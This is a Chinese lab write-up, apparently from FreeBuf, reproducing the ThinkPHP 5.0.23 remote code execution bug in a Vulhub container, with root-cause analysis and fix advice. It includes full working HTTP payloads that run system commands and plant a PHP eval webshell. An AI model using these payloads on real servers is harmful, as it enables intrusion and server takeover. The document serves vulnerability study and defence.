【vulhub thinkphp 5.0.23-rce】vulhub Thinkphp 5.0.23远程命令执行(RCE)漏洞复现详细分析解释
https://www.freebuf.com/articles/vuls/477008.html
【vulhub thinkphp 5.0.23-rce】vulhub Thinkphp 5.0.23-rce(远程代码执行)漏洞复现
在vulhub打开环境
image
image
打开浏览器ip:port进入web服务界面
image
抓包,写入payload
payload:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.171.128:8080
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
写入webshell,payload:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.171.128:8080
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo ‘<?php eval($_POST[123]); ?>’ > 1.php
image
image
蚁剑连接成功
下面是ThinkPHP 5.0.23漏洞详细分析解释:
ThinkPHP 5.0.23 远程代码执行(RCE)漏洞深度复现与原理剖析
一、漏洞概述
ThinkPHP 是国内主流的 PHP 开发框架,5.0.23 版本因对Request类的参数处理逻辑存在严重缺陷,导致攻击者可通过构造恶意 HTTP 请求触发远程代码执行漏洞。该漏洞无需认证,利用成本极低,可直接执行系统命令、写入 WebShell,对使用该版本的业务系统造成毁灭性打击。
影响范围:ThinkPHP 5.0.23 及部分衍生版本(未修复该缺陷的 5.0.x 版本)
漏洞等级:高危(CVSS 评分 9.8)
二、漏洞核心原理
关键缺陷点
ThinkPHP 5.0.x 版本在处理Request对象实例化时,未对用户可控的_method参数做严格校验,攻击者可通过该参数触发Request类的__construct构造方法,并篡改filter(过滤器)、server等核心属性,最终实现代码执行。技术逻辑拆解
请求方法覆盖:ThinkPHP 支持通过_method参数模拟 HTTP 请求方法(如 POST 模拟 PUT),但框架未限制_method的值为合法 HTTP 方法,允许传入魔术方法名(如__construct)。
构造方法注入:当_method=__construct时,框架会调用Request类的构造方法,并将 POST 参数直接传入构造方法的参数列表,攻击者可篡改filter参数为系统命令执行函数(如system)。
过滤器触发:ThinkPHP 的Request类会对server等全局变量执行filter指定的过滤方法,攻击者通过server[REQUEST_METHOD]传递要执行的命令,结合filter[]=system,最终触发命令执行。
核心调用链简化:
_method=construct→ 调用 Request::construct () → 篡改 filter 为 system → 执行 server [REQUEST_METHOD] 中的命令
三、环境搭建(Vulhub)
进入 Vulhub 的 ThinkPHP 5.0.23 RCE 漏洞目录:
cd vulhub/thinkphp/5.0.23-rce
启动漏洞环境:
docker-compose up -d
验证环境:浏览器访问http://[IP]:[PORT],出现 ThinkPHP 默认页面即环境搭建成功。
四、漏洞复现
步骤 1:执行系统命令(whoami)
抓包工具(Burp Suite)拦截访问/index.php?s=captcha的 POST 请求;
构造如下 Payload 并发送:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.171.128:8080
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
响应包中可看到whoami命令的执行结果(如www-data),证明命令执行成功。
步骤 2:写入 WebShell
复用上述请求结构,修改server[REQUEST_METHOD]为写入 WebShell 的命令:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.171.128:8080
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo ‘<?php eval($_POST[123]); ?>’ > 1.php
发送请求后,访问http://[IP]:[PORT]/1.php,使用蚁剑 / 菜刀等工具,以密码123连接,即可成功控制目标服务器。
五、Payload 深度解析
参数 作用 核心说明
_method=construct 触发构造方法 绕过请求方法校验,强制调用 Request 类的construct方法
filter[]=system 指定过滤函数 将框架默认的过滤方法替换为系统命令执行函数system
method=get 模拟请求方法 满足 Request 构造方法的参数格式要求,无实际执行意义
server[REQUEST_METHOD] 传递执行命令 server是 Request 类的全局变量,框架会对其执行filter指定的方法,最终触发system(命令)
Content-Type: application/x-www-form-urlencoded 数据格式 确保 POST 参数被框架正确解析
Content-Length 长度校验 需与 POST 参数的实际长度一致,否则请求会被拒绝
关键细节:
filter[]使用数组格式是为了覆盖框架默认的过滤数组,确保system成为唯一的过滤方法;
写入 WebShell 时,命令中的单引号需转义(或使用双引号),避免 Shell 解析错误;
目标路径需确保有写入权限(默认 Web 根目录可写)。
六、漏洞修复建议
紧急升级版本:升级至 ThinkPHP 5.0.24 及以上版本(官方已修复该缺陷);
参数校验:对_method参数做白名单校验,仅允许合法 HTTP 方法(GET/POST/PUT/DELETE 等);
过滤危险函数:禁用system、exec、eval等危险函数,可通过php.ini的disable_functions配置;
权限控制:限制 Web 服务进程的写入 / 执行权限,避免攻击者写入 WebShell;
流量监控:监控包含_method=__construct、filter[]=system的异常请求,及时拦截攻击。
七、总结
ThinkPHP 5.0.23 RCE 漏洞的核心是框架对用户输入的 “过度信任”,未对魔术方法、过滤函数等核心参数做严格校验。该漏洞的利用方式简单直接,也反映出 PHP 框架开发中 “参数校验” 和 “危险函数管控” 的重要性。企业应及时升级框架版本,并建立常态化的漏洞扫描机制,避免因遗留漏洞导致系统被入侵。
本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。
